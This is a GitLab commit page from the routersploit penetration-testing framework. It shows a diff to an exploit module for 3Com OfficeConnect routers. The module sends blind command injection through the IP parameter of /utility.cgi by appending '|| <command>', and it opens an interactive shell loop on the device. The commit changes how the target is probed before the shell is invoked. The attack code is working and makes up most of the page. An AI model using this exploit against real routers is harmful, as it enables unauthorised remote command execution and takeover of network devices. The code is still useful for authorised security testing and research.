Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
9c0dbff8
Unverified
Commit
9c0dbff8
authored
Sep 09, 2018
by
Marcin Bury
Committed by
GitHub
Sep 09, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing false positive - 3com officeconnect rce (#511)
parent
4e7c7ecc
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
22 additions
and
24 deletions
+22
-24
officeconnect_rce.py
...sploit/modules/exploits/routers/3com/officeconnect_rce.py
+22
-24
No files found.
routersploit/modules/exploits/routers/3com/officeconnect_rce.py
View file @
9c0dbff8
...
@@ -23,13 +23,28 @@ class Exploit(HTTPClient):
...
@@ -23,13 +23,28 @@ class Exploit(HTTPClient):
port
=
OptPort
(
80
,
"Target HTTP port"
)
port
=
OptPort
(
80
,
"Target HTTP port"
)
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
response1
=
self
.
http_request
(
print_success
(
"Target is vulnerable"
)
method
=
"GET"
,
print_status
(
"Invoking command loop..."
)
path
=
"/utility.cgi?testType=1&IP=aaa"
,
print_status
(
"It is blind command injection - response is not available"
)
)
shell
(
self
,
architecture
=
"mipsbe"
)
if
response1
and
response1
.
status_code
==
200
:
path
=
"/{}.cgi"
.
format
(
utils
.
random_text
(
32
))
response2
=
self
.
http_request
(
method
=
"GET"
,
path
=
path
,
)
if
not
response2
or
response1
.
text
!=
response2
.
text
:
print_success
(
"Target appears to be vulnerable"
)
print_status
(
"Invoking command loop..."
)
print_status
(
"It is blind command injection - response is not available"
)
shell
(
self
,
architecture
=
"mipsbe"
)
else
:
print_error
(
"Exploit failed - target does not seem to be vulnerable"
)
else
:
else
:
print_error
(
"
Target is not
vulnerable"
)
print_error
(
"
Exploit failed - target does not seem to be
vulnerable"
)
def
execute
(
self
,
cmd
):
def
execute
(
self
,
cmd
):
path
=
"/utility.cgi?testType=1&IP=aaa || {}"
.
format
(
cmd
)
path
=
"/utility.cgi?testType=1&IP=aaa || {}"
.
format
(
cmd
)
...
@@ -42,21 +57,4 @@ class Exploit(HTTPClient):
...
@@ -42,21 +57,4 @@ class Exploit(HTTPClient):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
response1
=
self
.
http_request
(
return
None
# there is no reliable way to check if target is vulnerable
method
=
"GET"
,
path
=
"/utility.cgi?testType=1&IP=aaa"
,
)
if
response1
is
None
:
return
False
# target is not vulnerable
if
response1
.
status_code
==
200
:
path
=
"/{}.cgi"
.
format
(
utils
.
random_text
(
32
))
response2
=
self
.
http_request
(
method
=
"GET"
,
path
=
path
,
)
if
response2
is
None
or
response1
.
text
!=
response2
.
text
:
return
True
# target is vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment